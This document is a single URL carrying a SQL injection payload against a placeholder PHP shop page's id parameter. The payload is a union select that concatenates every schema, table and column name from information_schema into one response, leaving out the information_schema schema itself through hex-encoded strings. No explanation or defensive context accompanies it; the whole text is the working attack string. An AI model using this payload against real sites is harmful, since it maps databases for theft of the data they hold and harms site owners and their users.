http://site/shop.php?id=-260+union+select+1,2,3,4,5,(select(@n)from(select(@n:=0x20),(select(null)from(information_schema.columns)where(0x2b)in(@n:=concat(@n,0x3c62723e,table_schema,0x2e,table_name,0x3a,column_name))and(table_schema!=0x696e666f726d6174696f6e5f736368656d61)))n),7,8,9,10,11,12,13,14-- -